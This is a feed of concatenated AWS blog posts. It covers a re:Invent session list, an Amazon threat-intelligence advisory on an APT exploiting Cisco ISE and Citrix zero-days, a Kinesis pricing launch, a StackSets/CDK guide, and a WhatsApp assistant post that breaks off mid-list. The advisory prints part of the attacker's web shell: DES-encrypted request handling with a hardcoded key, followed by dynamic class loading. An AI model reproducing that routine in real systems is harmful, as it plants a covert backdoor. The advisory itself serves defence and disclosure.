Generative AI agent development demands robust architectural practices for security and compliance. This chalk talk explores proven patterns for architecting secure, efficient AI agents using the AWS Well-Architected Generative AI Lens. Through collaborative discussion and whiteboarding, examine architectural governance and best practices for production environments. Learn to design agent architectures incorporating guardrails, monitoring systems, access controls, and sustainable deployment practices. Gain actionable insights for building secure, efficient, and cost-effective agentic AI applications that scale.

Break down monoliths, modernizing applications on Amazon ECS

CNS346 | Chalk talk | December 2, 4:30 PM

Join this interactive chalk talk to solve a common challenge where monolithic applications take months to deploy new features, and scaling becomes increasingly difficult. We’ll start with a real scenario, an application running on servers with a shared database. Together, we’ll design the modernization path using Amazon ECS and Well-Architected Framework principles. You’ll explore common architecture patterns, containerization strategies, CI/CD automation, and blue/green deployment approaches for ECS. After this session, you’ll walk away with a practical roadmap to transform your monolithic application into scalable microservices. Bring your curiosity and help us build the architecture live.

Hands-on workshop and Builders’ sessions

AWS speakers will introduce the use-case and tools designed to tackle the challenge. You will follow instructions, complete the tasks, and walk away with better understanding of the capabilities.

AI-powered Well-Architected reviews: Building automated governance

ARC302-R | Builders’ session | December 1, 9:00 AM; December 2, 11:30 AM and December 3, 4:00 PM

Build intelligent systems that automate AWS Well-Architected Framework reviews using generative AI, transforming manual architectural assessments into continuous, intelligent governance processes. Evaluate architecture against Well-Architected pillars while incorporating organization-specific requirements, implement continuous analysis of architecture and infrastructure as code templates, and enhance AI understanding of architectural context using Model Context Protocol servers to transform time-intensive reviews into scalable, automated processes with consistent governance.

AI-powered troubleshooting: From chaos to Well-Architected

ARC301-R | Builders’ session | December 1, 8:30 AM; December 2, 3:00 PM and December 3, 10:00 AM

Tackle complex scenarios using AI-powered tools to diagnose and resolve architectural problems, gaining practical experience using AI to transform poorly designed systems into well-architected solutions. Troubleshoot and optimize architectures with scaling bottlenecks and database inefficiencies using Amazon Q, apply Well-Architected principles to enhance performance and security under pressure, and accelerate problem identification and resolution while building AWS optimization expertise and learning to identify architectural anti-patterns before they become critical issues.

The Frugal Architect GameDay: Building cost-aware architectures

ARC309 | Workshop | December 1, 8:00 AM

Compete to implement cost efficiency improvements across multiple AWS services in this interactive GameDay, applying the Laws of the Frugal Architect to real-world scenarios for practical experience in transforming high-cost infrastructure into efficient, sustainable architectures. Address challenges spanning compute, networking, storage, serverless, and observability domains while learning to reduce cloud unit costs and improve profitability without compromising service quality through gamified scenarios that build rapid cost optimization decision-making skills.

Optimize AWS Backup using AI evaluation and Well-Architected best practices

STG313-R | Builders’ session | December 2, 1:30 PM and December 3, 8:30 AM

Enhance AWS Backup implementation using the AWS Backup Evaluator Solution, an AI agent that synthesizes data from multiple sources to provide intelligent backup optimization recommendations. Assess backup environments against the Well-Architected AWS Backup lens using Strands Agents SDK, create unified visibility across backup landscapes to identify optimization opportunities, and implement AI agents that continuously monitor backup efficiency while aligning with AWS best practices to enhance efficiency and cost-effectiveness.


Visit the AWS Cloud Support kiosk in the Venetian

Important notes:

Session dates, times, and locations listed in the post are subject to change as we continue to optimize the schedule on session popularity and venue capacity. Please check this blog post and the re:Invent session catalog regularly for the most up-to-date information about your registered sessions and newly added activities. For a full view of Well-architected content, including sessions with partners, explore the AWS re:Invent catalog and filter on the Well-Architected Framework area of interest.

Remember to reserve your seats early as popular sessions fill up quickly and bring your laptop for hands-on builders’ sessions and workshops. Register today


About the authors

Amazon discovers APT exploiting Cisco and Citrix zero-days

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/amazon-discovers-apt-exploiting-cisco-and-citrix-zero-days/

The Amazon threat intelligence teams have identified an advanced threat actor exploiting previously undisclosed zero-day vulnerabilities in Cisco Identity Service Engine (ISE) and Citrix systems. The campaign used custom malware and demonstrated access to multiple undisclosed vulnerabilities. This discovery highlights the trend of threat actors focusing on critical identity and network access control infrastructure—the systems enterprises rely on to enforce security policies and manage authentication across their networks.

Initial discovery

Our Amazon MadPot honeypot service detected exploitation attempts for the Citrix Bleed Two vulnerability (CVE-2025-5777) prior to public disclosure, indicating a threat actor had been exploiting the vulnerability as a zero-day. Through further investigation of the same threat exploiting the Citrix vulnerability, Amazon Threat Intelligence identified and shared with Cisco an anomalous payload targeting a previously undocumented endpoint in Cisco ISE that used vulnerable deserialization logic. This vulnerability, now designated as CVE-2025-20337, allowed the threat actors to achieve pre-authentication remote code execution on Cisco ISE deployments, providing administrator-level access to compromised systems. What made this discovery particularly concerning was that exploitation was occurring in the wild before Cisco had assigned a CVE number or released comprehensive patches across all affected branches of Cisco ISE. This patch-gap exploitation technique is a hallmark of sophisticated threat actors who closely monitor security updates and quickly weaponize vulnerabilities.

Custom web shell deployment

Following successful exploitation, the threat actor deployed a custom web shell disguised as a legitimate Cisco ISE component named IdentityAuditAction. This wasn’t typical off-the-shelf malware, but rather a custom-built backdoor specifically designed for Cisco ISE environments. The web shell demonstrated advanced evasion capabilities. It operated completely in-memory, leaving minimal forensic artifacts, used Java reflection to inject itself into running threads, registered as a listener to monitor all HTTP requests across the Tomcat server, implemented DES encryption with non-standard Base64 encoding to evade detection, and required knowledge of specific HTTP headers to access.

The following is a snippet of the deserialization routine showing the actor’s extensive authentication to access their web shell:

if (matcher.find()) {
    requestBody = matcher.group(1).replace("*", "a").replace("$", "l");
    Cipher encodeCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    decodeCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    byte[] key = "d384922c".getBytes();
    encodeCipher.init(1, new SecretKeySpec(key, "DES"));
    decodeCipher.init(2, new SecretKeySpec(key, "DES"));
    byte[] data = Base64.getDecoder().decode(requestBody);
    data = decodeCipher.doFinal(data);
    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
    if (proxyClass == null) {
        proxyClass = this.defineClass(data);
    } else {
        Object f = proxyClass.newInstance();
        f.equals(arrOut);
        f.equals(request);
        f.equals(data);
        f.toString();
    }

Security implications

As previously noted, Amazon threat intelligence identified through our MadPot honeypots that the threat actor was exploiting both CVE-2025-20337 and CVE-2025-5777 as zero-days, and was indiscriminately targeting the internet with these vulnerabilities at the time of investigation. The campaign underscored the evolving tactics of threat actors targeting critical enterprise infrastructure at the network edge. The threat actor’s custom tooling demonstrated a deep understanding of enterprise Java applications, Tomcat internals, and the specific architectural nuances of the Cisco Identity Service Engine. The access to multiple unpublished zero-day exploits indicates a highly resourced threat actor with advanced vulnerability research capabilities or potential access to non-public vulnerability information.

Recommendations for security teams

For security teams, this serves as a reminder that critical infrastructure components like identity management systems and remote access gateways remain prime targets for threat actors. The pre-authentication nature of these exploits reveals that even well-configured and meticulously maintained systems can be affected. This underscores the importance of implementing comprehensive defense-in-depth strategies and developing robust detection capabilities that can identify unusual behavior patterns. Amazon recommends limiting access, through firewalls or layered access, to privileged security appliance endpoints such as management portals.

Vendor references

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

CJ Moses

CJ Moses

CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

Amazon Kinesis Data Streams launches On-demand Advantage for instant throughput increases and streaming at scale

Post Syndicated from Pratik Patel original https://aws.amazon.com/blogs/big-data/amazon-kinesis-data-streams-launches-on-demand-advantage-for-instant-throughput-increases-and-streaming-at-scale/

Today, AWS announced the new Amazon Kinesis Data Streams On-demand Advantage mode, which includes warm throughput capability and an updated pricing structure. With this feature you can enable instant scaling for traffic surges while optimizing costs for consistent streaming workloads. On-demand Advantage mode is a cost-effective way to stream with Kinesis Data Streams for use cases that ingest at least 10 MiB/s in aggregate or have hundreds of data streams in an AWS Region.

In this post, we explore this new feature, including key use cases, configuration options, pricing considerations, and best practices for optimal performance.

Real-world use cases

As streaming data volumes grow and use cases evolve, you can face two common challenges with your streaming workloads:

Challenge 1: Preparing for traffic spikes

Many businesses experience predictable but significant traffic surges during events like product launches, content releases, or holiday sales. Using an on-demand capacity mode, you have to complete several steps when preparing for traffic spikes:

  • Transition to provisioned mode
  • Manually estimate and increase shards based on anticipated peak demand
  • Wait for scaling operations to finish
  • Subsequently return to on-demand mode

This mode-switching process was time consuming, required careful planning, and introduced operational complexity, forcing customers to either accept this operational burden, overprovision capacity well in advance, or risk throttling during critical business periods when data ingestion reliability matters most.

Challenge 2: Cost optimization for consistent workloads

Organizations with large, consistent streaming workloads want to optimize costs without sacrificing the simplicity and scalability available with on-demand streams. On-demand capacity mode serves well for fluctuating data traffic, yet customers desired a more economical approach to handle high-volume streaming workloads.

On-demand Advantage directly address both challenges by providing the capability to warm on-demand streams and a new pricing structure. With the new On-demand Advantage mode, there is no longer a fixed, per-stream charge, and the throughput usage is priced at a lower rate. The only requirement is that the account commits to streaming with at least 25 MiB/s of data ingest and 25 MiB/s of data retrieval usage.

This launch improves data streaming across multiple industries:

  • Online gaming companies can now prepare their streams for game launches without the cumbersome process of switching between modes and manually calculating shard requirements
  • Media and entertainment providers can support smooth data ingestion during major content releases and live events
  • E-commerce services can handle holiday sales traffic while optimizing costs for their baseline workloads.

By combining instant scaling with cost efficiency, you can confidently manage both predictable traffic surges and consistent streaming volumes without compromising on performance or budget.

How it works

The key features of On-demand Advantage mode are warm throughput and committed-usage pricing.

Warm throughput

With the warm throughput feature, available once you’ve enabled On-demand Advantage mode, you can configure your Kinesis Data Streams on-demand streams to have instantly available throughput capacity up to 10 GiB/s. This means you can proactively prepare on-demand streams for expected peak traffic events without the cumbersome process of switching between provisioned modes and manually calculating shard requirements. Key benefits include:

  • The ability to prepare for peak events so you can handle traffic surges smoothly
  • Alleviation of the need to build custom scaling solutions
  • The capability to continue scaling automatically beyond warm throughput if needed, up to 10 GiB/s or 10 million events per second
  • No additional fee for maintaining warm capacity

Committed-usage pricing

When you’ve enabled On-demand Advantage mode, the billing for the on-demand streams switches to a new structure that removes the stream hour charge and offers a discount of at least 60% for the throughput usage. Based on US East (N. Virginia) pricing, data ingested is priced 60% lower, data retrieval is priced 60% lower, Enhanced fan-out data retrieval is 68% lower, and extended retention is priced 77% lower. In return, you commit to stream 25 MiB/s for at least 24 hours. Even when actual usage is lower, if you enable this setting, you’re charged for the minimum 25 MiB/s throughput at the discounted price. Overall, the signficant discounts offered means that On-demand Advantage is more cost-effective for use cases that ingest at least 10 MiB/s in aggregate, fan out to more than two consumer applications, or have hundreds of data streams in an AWS Region.

Getting started

Follow these steps to start using On-demand Advantage mode.

Enabling On-demand Advantage mode

To start using the On-demand Advantage mode:

In the AWS Management Console

  1. Navigate to the Kinesis Data Streams console
  2. Navigate to the Account Settings tab
  3. Choose Edit billing mode
  4. Select the On-demand Advantage option
  5. Select the checkbox, I acknowledge this change cannot be reverted for 24 hours
  6. Choose Save changes

on-demand-billing-mode

Using the AWS CLI

You can run the following CLI command to enable the minimum throughput billing commitment:

aws kinesis update-account-settings \
--minimum-throughput-billing-commitment Status=ENABLED

Using the AWS SDK

You can use the SDK to enable the minimum throughput billing commitment. The following Python example shows how to do it:

import boto3

client = boto3.client('kinesis')
response = client.update_account_settings(
    MinimumThroughputBillingCommitment={"Status": "ENABLED"}
)

Once enabled, you commit your stream to this pricing mode for a minimum period of 24 hours, after which you can opt out as needed.

Configuring warm throughput

To start using warm throughput for Kinesis Data Streams On-demand:

Using the AWS Management Console

  1. Navigate to the Kinesis Data Streams console
  2. Select your stream and go to the Configuration tab
  3. Choose Edit next to Warm Throughput
  4. Set your desired warm throughput (up to 10 GiB/s)
  5. Save your changes

Using the AWS CLI

You can run the following CLI command to enable the warm throughput:

aws kinesis update-stream-warm-throughput \
  --stream-name MyStream \
  --warm-throughput-mi-bps 1000

Using the AWS SDK:

You can use the SDK to enable warm throughput. The following Python example shows how to do it:

import boto3

client = boto3.client('kinesis')
response = client.update_stream_warm_throughput(
    StreamName='MyStream',
    WarmThroughputMiBps=1000
)

You can also create a new on-demand stream with warm throughput using the existing CreateStream API, or set warm throughput when converting a data stream from provisioned to On-demand Advantage mode.

Throttling and best practices for optimal performance

When working with warm throughput, it’s important to understand how capacity is managed. Each stream can instantly handle traffic up to the configured warm throughput level and will automatically scale beyond that as needed.

For optimal performance with warm throughput:

  1. Use a uniformly distributed partition key strategy to evenly distribute records across shards and avoid hotspots and consider your partition key strategy carefully as you can ingest a maximum of 1 MiB/s of data per partition key, regardless of the warm throughput configured.
  2. Monitor throughput metrics to adjust warm throughput settings based on actual usage patterns.
  3. Implement backoff and retry logic in producer applications to handle potential throttling.

For cost optimization with committed usage pricing:

  1. Analyze your daily throughput to verify it is at least 10 MiB/s.
  2. Consider consolidating streams across your organization to maximize the benefit of the discount for on-demand streams.
  3. Use cost effective data retrievals with – Use Enhanced Fan-Out – Use Enhanced Fan-Out consumers for applications that need dedicated throughput with 68% lower data retrievals cost in advantage mode.

Warm throughput in action

To demonstrate how warm throughput behaves, we enabled committed pricing in an AWS account and created two on-demand streams: “KDS-OD-STANDARD” and “KDS-OD-WARM-TP”. The “KDS-OD-WARM-TP” stream was configured with 100 MiB/second warm throughput, while “KDS-OD-STANDARD” remained as a regular on-demand stream without warm throughput, as demonstrated in the following screenshot.

od-standard-warm-streams

In our experiment, we initially simulated approximately 2 MiB/second traffic ingest for both “KDS-OD-STANDARD” and “KDS-OD-WARM-TP” streams. We used a UUID as a partition key so that traffic was evenly distributed across the shards of the Kinesis data streams, helping prevent potential hotspots that might skew our results. After establishing this baseline, we increased the ingest traffic to around 28 MiB/second within 10 minutes. We then further escalated the traffic to exceed 60 MiB/second within 15 minutes of the initial increase, as illustrated in the following screenshot.

streams-ingest-mb-second-metric

The following graph shows the ThrottledRecords CloudWatch metric for both “KDS-OD-STANDARD” and “KDS-OD-WARM-TP” that the warm throughput-enabled stream (“KDS-OD-WARM-TP”) did not encounter throttles during both traffic spikes, as it had 100 MiB/second warm throughput configured. In contrast, the standard on-demand stream (“KDS-OD-STANDARD”) experienced throttling when we increased traffic by 14x initially and by 2x later, before eventually scaling to bring throttles back to zero. This experiment demonstrates that you can use warm throughput to instantly prepare for peak usage times and avoid throttling during sudden traffic increases.

streams-throttle-metrics

Conclusion

As we outlined in this post, the new Amazon Kinesis Data Streams On-demand Advantage mode provides significant benefits for organizations of different sizes:

  • Instant scaling for predictable traffic surges without overprovisioning.
  • Cost optimization for consistent streaming workloads with at least 60% discount.
  • Simplified operations with no need to switch between different capacity modes.
  • Enhanced flexibility to handle both expected and unexpected traffic patterns.

With these enhancements you can build and operate real-time streaming applications at many scales. Kinesis Data Streams now provides the ideal combination of scalability, performance, and cost-efficiency.

To learn more about these new features, visit the Amazon Kinesis Data Streams documentation.


About the authors

Roy (KDS) Wang

Roy (KDS) Wang

Roy is a Senior Product Manager with Amazon Kinesis Data Streams. He is passionate about learning from and collaborating with customers to help organizations run faster and smarter. Outside of work, Roy strives to be a good dad to his new son and builds plastic model kits.

Pratik Patel

Pratik Patel

Pratik is Sr. Technical Account Manager and streaming analytics specialist. He works with AWS customers and provides ongoing support and technical guidance to help plan and build solutions using best practices and proactively keep customers’ AWS environments operationally healthy.

Umesh Chaudhari

Umesh Chaudhari

Umesh is a Sr. Streaming Solutions Architect at AWS. He works with customers to design and build real-time data processing systems. He has extensive working experience in software engineering, including architecting, designing, and developing data analytics systems. Outside of work, he enjoys traveling, following tech trends.

Simon Peyer

Simon Peyer

Simon is a Solutions Architect at AWS based in Switzerland. He is a practical doer and passionate about connecting technology and people using AWS Cloud services. A special focus for him is data streaming and automations. Besides work, Simon enjoys his family, the outdoors, and hiking in the mountains.20

Streamlining Multi-Account Infrastructure with AWS CloudFormation StackSets and AWS CDK

Post Syndicated from Franco Abregu original https://aws.amazon.com/blogs/devops/streamlining-multi-account-infrastructure-with-aws-cloudformation-stacksets-and-aws-cdk/

Introduction

Organizations operating at scale on AWS often need to manage resources across multiple accounts and regions. Whether it’s deploying security controls, compliance configurations, or shared services, maintaining consistency can be challenging.

AWS CloudFormation StackSets (StackSets) has been helping organizations deploy resources across multiple accounts and regions since its launch. While the service is powerful on its own, combining it with Infrastructure as Code (IaC) tools and implementing automated deployments can significantly enhance its capabilities.

In this post, we’ll show you how to leverage AWS CloudFormation StackSets at scale using AWS CDK and implement a robust CI/CD pipeline for automated deployments with AWS CodePipeline.

StackSets key concepts

AWS CloudFormation StackSets allows you to create, update, or delete CloudFormation stacks across multiple AWS accounts and regions with a single operation. It’s essentially a way to manage infrastructure at scale across your AWS organization. Using an administrator account, you define and manage a CloudFormation template, and use the template as the basis for provisioning stacks into selected target accounts across specified AWS Regions:

StackSets Overview

Figure 1. StackSets overview.

The Administrator Account is the AWS account where you create and manage StackSets and the Target Accounts are the AWS accounts where the stack instances are deployed.

The Stack Instances are individual stacks created from the StackSet template deployed to specific account-region combinations.

 You can make the following operations using StackSets: Create, update, and delete actions performed on stack instances. These operations can be applied in concurrent or sequential way.

Sequential Deployment:

  • Account-by-account deployment
  • Region-by-region within accounts
  • Configurable failure thresholds

Parallel Deployment:

  • Concurrent account deployments
  • Maximum concurrent account setting
  • Region priority configuration

Hybrid Deployment:

  • Combine sequential and parallel
  • Account group-based deployment
  • Regional deployment strategies

The power of StackSets

The use of StackSets allows us to extend AWS CloudFormation’s capabilities in several important ways:

Governance

It provides you with Centralized Management as a single point of control while including consistent deployment patterns and automated stack instance management across AWS accounts and regions.

With Drift Detection feature, you can identify if any of the stack instances of your StackSet have configuration differences according to its expected configuration. You detect changes made outside CloudFormation and changes made to an instance stack through CloudFormation directly without using the StackSet.

Flexible Deployment

You also have flexible deployment options with controlled rollout. For example, with Concurrent Deployments you can deploy to multiple accounts within each region simultaneously while controlling deployment order. It also includes failure tolerance with automated retry failed operations.

Operational Efficiency

It reduces manual effort in managing multi-account and multi-region environments while minimizes human error in deployments.

Cost Management

It delivers comprehensive resource organization and streamlined tracking of resources across accounts and regions containing instance stacks. Using centralized management, simplifies the resource tracking and organization enabling you you to have:

  • unified visibility: view all related stacks from a single StackSet console (with their deployment status)
  • consistent tagging: apply standardized tags across all stack instances for cost allocation and resource grouping
  • drift detection: run drift detection across all stack instances simultaneously
  • operations tracking: track all operations (create, update and delete) across account/regions from one place

Built-in Safety

You can establish maximum concurrent operation limits, failure tolerance thresholds and automatic retry mechanisms. You also have recovery capabilities through update operations. All these features make a built-in safety mechanisms that prevent widespread failures.

Let’s say you have 100 target accounts, with the maximum concurrent limits, you can for example deploy a change to only 10 accounts. Also, with a failure threshold you can set how many failures do you allow before automatically stopping the process (e.g., stop if more than 5 accounts fail). This way you can gradually deploy and test your templates with a little group, establishing failure thresholds, instead of affecting the stacks preventing mass failures.

When an operation fails, AWS CloudFormation performs a rollback in the stack instances deploying the previous working template. You will still need to correct the template and apply it again in all the stack instances. With StackSets, you can fix the issues in the template and run again an update across all the stacks including the concurrent limit and failure threshold mentioned before to safety test the fix.

Security and Compliance management

This security-focused approach with StackSets helps organizations maintain a strong security posture across their AWS environment while reducing the operational overhead of managing security at scale.

You can use StackSets to deploy standardized security policies across accounts, enforce security baselines automatically and implement security guardrails organization-wide. For example, you can deploy detective control resource and its configuration in all your accounts like Amazon GuardDuty or Amazon Macie. You can also deploy preventive controls like SCPs, AWS Firewall Manager or AWS Shield Advanced. For example you can deploy through StackSets the following CloudFormation template en each target account to block certain actions in a region:

<code>AWSTemplateFormatVersion: '2010-09-09'</code><br /><code>Description: 'Service Control Policy to block access to specific AWS regions'</code><br /><br /><code>Parameters:</code><br /><code>  PolicyName:</code><br /><code>    Type: String</code><br /><code>    Default: 'RegionDenyPolicy'</code><br /><code>    Description: 'Name for the Service Control Policy'</code><br /><code>    </code><br /><code>  PolicyDescription:</code><br /><code>    Type: String</code><br /><code>    Default: 'Blocks access to Singapore region (ap-southeast-1) while allowing global services'</code><br /><code>    Description: 'Description for the Service Control Policy'</code><br /><code>    </code><br /><code>  BlockedRegion:</code><br /><code>    Type: String</code><br /><code>    Default: 'ap-southeast-1'</code><br /><code>    Description: 'AWS Region to block access to'</code><br /><code>    AllowedValues:</code><br /><code>      - 'ap-southeast-1'</code><br /><code>      - 'ap-southeast-2'</code><br /><code>      - 'eu-west-3'</code><br /><code>      - 'us-west-1'</code><br /><code>      - 'ca-central-1'</code><br /><code>    </code><br /><code>  TargetOUId:</code><br /><code>    Type: String</code><br /><code>    Description: 'Organizational Unit ID to attach the policy to (e.g., ou-root-xxxxxxxxxx)'</code><br /><code>    </code><br /><code>Resources:</code><br /><code>  RegionDenySCP:</code><br /><code>    Type: AWS::Organizations::Policy</code><br /><code>    Properties:</code><br /><code>      Name: !Ref PolicyName</code><br /><code>      Description: !Ref PolicyDescription</code><br /><code>      Type: SERVICE_CONTROL_POLICY</code><br /><code>      Content:</code><br /><code>        Version: '2012-10-17'</code><br /><code>        Statement:</code><br /><code>          - Sid: DenyAccessToSpecificRegion</code><br /><code>            Effect: Deny</code><br /><code>            NotAction:</code><br /><code>              - 'route53:*'</code><br /><code>              - 'cloudfront:*'</code><br /><code>              - 'sts:*'</code><br /><code>            Resource: '*'</code><br /><code>            Condition:</code><br /><code>              StringEquals:</code><br /><code>                'aws:RequestedRegion':</code><br /><code>                  - !Ref BlockedRegion</code><br /><code>      TargetIds:</code><br /><code>        - !Ref TargetOUId</code><br /><code>      Tags:</code><br /><code>        - Key: Purpose</code><br /><code>          Value: RegionCompliance</code><br /><code>        - Key: ManagedBy</code><br /><code>          Value: CloudFormation</code><br /><br /><code>Outputs:</code><br /><code>  PolicyId:</code><br /><code>    Description: 'ID of the created Service Control Policy'</code><br /><code>    Value: !Ref RegionDenySCP</code><br /><code>    Export:</code><br /><code>      Name: !Sub '${AWS::StackName}-PolicyId'</code><br /><code>      </code><br /><code>  PolicyArn:</code><br /><code>    Description: 'ARN of the created Service Control Policy'</code><br /><code>    Value: !GetAtt RegionDenySCP.Arn</code><br /><code>    Export:</code><br /><code>      Name: !Sub '${AWS::StackName}-PolicyArn'</code>

Other capabilities include compliance-related resources consistently, maintain audit trails of security configurations and ensure regulatory requirements are met across all accounts. For example, you can enable CouldTrail and deploy AWS Config rules across all the instance stacks managed by the StackSet.

For both Security and Compliance incidents you can use StackSets to deploy automated response workflows, configure event notifications and implement remediation actions across your accounts and regions.

Import existing stacks into StackSets

A stack import operation can import existing stacks into new or existing StackSets, so that you can migrate existing stacks to a StackSet in one operation.

Solution Overview

This solution includes an AWS CodePipeline stack that creates a CI/CD pipeline to deploy our StackSet. This pipeline deploys an application stack containing the AWS CloudFormation StackSet with a monitoring dashboard in AWS CloudWatch.

Solution overview

Figure 2. Solution overview

The following Amazon CloudWatch dashboard is an example of what you will in the target accounts after the StackSet is deployed:

Dashboard example

Figure 3. Dashboard example

In the CI/CD pipeline, before running the deployment commands, it applies python security and quality code checks to ensure code quality and security and cdk-nag to ensure AWS Well Architected best practices. You can find more details about these checks in the solution repository in README.md file.

The solution includes 2 AWS CloudFormation stacks defined by in the AWS CDK application and a template for the StackSet that will be deployed in the target accounts and regions. This stack contains the monitoring dashboard that will be deployed en the target regions of each target account as a single unit.

The idea of using AWS CodePipeline with IaC is that development teams can define and share “pipelines-as-code” patterns for deploying their applications making it easy to add stages. This way, security and quality code testing can run any time you change the source code.

Pipeline overview

Figure 4. Pipeline overview

The best practice is to ensure shift-left: adding this checks to the earlier stages of the SDLC. You can accomplish this complementing your CI/CD pipeline with githooks or IDE Plugins. For example with Amazon Q Developer IDE extension you can use the review function to analyze the security of your code locally.

Walkthrough

If you’d like to try this solution out yourself, visit the walkthrough in the corresponding GitHub repo: https://github.com/aws-cloudformation/aws-cloudformation-templates/tree/main/CloudFormation/StackSets-CDK

To use the CI/CD pipeline just create a repository using any of the AWS CodeConnection git supported providers and add the contents of the folder. All details are included in the README.md so you can always get the latest version of the code and how it works.

Conclusion

In this post, we showed how to use AWS CDK to deploy AWS CloudFormation StackSets to reduce operational overhead and ensure consistency, compliance and security across multiple regions and accounts. We also learned how to create a CI/CD pipeline to guarantee a robust DevSecOps cycle for our Infrastructure as Code.

Now that we’ve explored the main concepts together, you can clone the example repository from the walkthrough section, follow the setup instructions, and customize the implementation to enhance AWS resources management across accounts and regions. Whether you’re managing a single account or multiple organizations, these practices can be adapted to your specific needs. Now that you learned the main concepts, go ahead and clone the example repository from walkthrough section, follow the setup instructions and customize the implementation to improve the AWS resources management across your accounts and regions.

Franco Abregu

Franco Abregu is a Sr. Delivery Consultant – DevOps at AWS Professional Services based in Argentina. Franco focuses on transforming customers DevOps culture to improve developer productivity, operations, deployments and process standardization. His expertise includes CI/CD, Infrastructure as Code, software development and organizational adoption of DevOps culture.

Idriss Laouali Abdou

Idriss Laouali Abdou is a Sr. Product Manager Technical for AWS Infrastructure-as-Code based in Seattle. He focuses on improving developer productivity through StackSets and CloudFormation Infrastructure provisioning experiences. Outside of work, you can find him creating educational content for thousands of students, cooking, or dancing..

Best practices for building high-performance WhatsApp AI assistant using AWS

Post Syndicated from Pavlos Ioannou Katidis original https://aws.amazon.com/blogs/messaging-and-targeting/best-practices-for-building-high-performance-whatsapp-ai-assistant-using-aws/

WhatsApp is one of the most widely used messaging platforms globally, making it an ideal

channel for customer engagement. Whether you’re building a virtual assistant, a customer AI assistant, or an internal communication tool, developing a WhatsApp AI assistant presents unique design and operational challenges.

In this post, we explore best practices for building a WhatsApp AI assistant using AWS services—with a focus on how the AWS Summit Assistant used AWS End User Messaging and Amazon Bedrock to power a responsive, secure, and scalable generative AI assistant.

Why build a WhatsApp AI assistant with AWS End User Messaging

AWS offers a comprehensive set of services that can seamlessly handle the full lifecycle of a WhatsApp interaction—from ingesting and validating inbound messages, storing session context, generating AI responses, to monitoring key performance indicators in real time.

AWS End User Messaging provides native integration with WhatsApp, so you can send and receive messages directly using a REST API or SDK. It also supports AWS Identity and Access Management (IAM), enabling fine-grained control over access, authentication, and user roles.

The following sections outline best practices for designing, building, and operating WhatsApp AI assistants on AWS. Although not every recommendation will apply to every use case, they are based on real-world lessons learned from production deployments like the AWS Summit Assistant.

Use a modular, event-driven architecture

Rather than relying on tightly coupled services or monolithic workflows, design your WhatsApp AI assistant as a set of loosely coupled, modular components. AWS services such as Amazon Simple Notification Service (Amazon SNS), Amazon Simple Queue Service (Amazon SQS), and AWS Lambda are ideal for building scalable, event-driven systems.

By default, AWS End User Messaging publishes inbound WhatsApp messages and engagement events to an SNS topic. To manage throughput and avoid overwhelming downstream components, subscribe an SQS queue to this topic. With this setup, you can process messages at a controlled pace and buffer traffic during bursts.

Depending on your use case, you might choose to skip dead-letter queues (DLQs) in favor of logging failures to Amazon CloudWatch Logs, especially given the real-time nature of chatbots where retrying a failed message hours later might no longer be relevant. Instead, the AI assistant should respond to the user immediately, explaining the issue and suggesting corrective actions such as rephrasing their question or trying again later.

A typical modular structure might have the following components:

  • SQS queue – An SQS queue subscribed to the WhatsApp Messages & Events SNS topic to control throughput and isolate retries.
  • A messages processor function for inbound processing and audio processing (optional) – This AWS Lambda function handles initial validation and message-type filtering and transcribes the voice message. The output is published to the Processed messages SNS topic.
  • Fan-out to downstream consumers – Other Lambda functions through Amazon SQS subscribe to the Processed messages SNS topic to handle specialized tasks like response generation using Amazon Bedrock or categorization and analytics’ purposes.

The following diagram illustrates the solution architecture.

architecture diagram whatsapp chatbot

This fan-out architecture promotes clean separation of concerns, avoids redundant processing, and makes it straightforward to introduce new capabilities such as sentiment analysis or content moderation by simply adding new subscribers. By decoupling components and using Amazon SNS and Amazon SQS patterns, each part of the system can scale independently and recover gracefully from localized failures.

Design for controlled processing throughput

When integrating with other AWS services such as Amazon Bedrock, with soft service quotas, it’s critical to manage throughput carefully. Use Amazon SQS to decouple the SNS topic from Lambda invocations. This makes sure spikes in message volume don’t result in throttling or failed invocations. It also lets you scale consumer Lambda functions based on queue depth, allowing for burst handling without dropping messages. In cases where message failure is unrecoverable (such as invalid content or unsupported message types), log the error and notify the user with a helpful message rather than retrying. This keeps the user informed and prevents queues from growing unnecessarily due to retry cycles. This design pattern of Amazon SNS to Amazon SQS to Lambda is foundational for building resilient, scalable AI assistants that meet user expectations for speed and reliability.

Handle voice messages with Amazon Transcribe or Whisper

WhatsApp voice messages are received in OGG format. To process these messages, you can use the AWS End User Messaging GetWhatsAppMessageMedia API to retrieve media files, including audio, images, and video. The audio needs to be converted to a compatible format for transcription: PCM for Amazon Transcribe or WAV for Hugging Face Whisper (available through Amazon Bedrock Marketplace). This conversion can be achieved using a library like FFmpeg, implemented as a Lambda layer.

The processing flow involves fetching audio from WhatsApp, which is then automatically stored in Amazon Simple Storage Service (Amazon S3) in a bucket you create and own (this is the default behavior of the GetWhatsAppMessageMedia API). Next, the audio is converted to the required format and stored locally in Lambda for faster processing before being transcribed.

As a best practice, consider deleting audio files after processing to simplify data management and reduce storage requirements for personally identifiable information (PII). This approach facilitates efficient handling and transcription of WhatsApp voice messages while maintaining data privacy standards.

Enforce strict message validation

To promote quality and security, implement layered validation within your message processing Lambda function. This might differ depending your use case and requirements:

  • Message status indicators – Mark inbound messages as read and indicate you are responding to maintain the recipients’ interest while generating a response. WhatsApp’s API allows marking messages as read by message ID and setting the typing indicator to true. The typing indicator automatically dismisses after 25 seconds without a reply.
  • Message type validation – Filter by message type using the inbound WhatsApp message payload’s type field. Implement checks based on your AI assistant’s supported message types and provide static responses for unsupported formats. For example, a text only AI assistant shouldn’t process message types such as Media, Reaction, Template, Location, Contacts or Interactive.
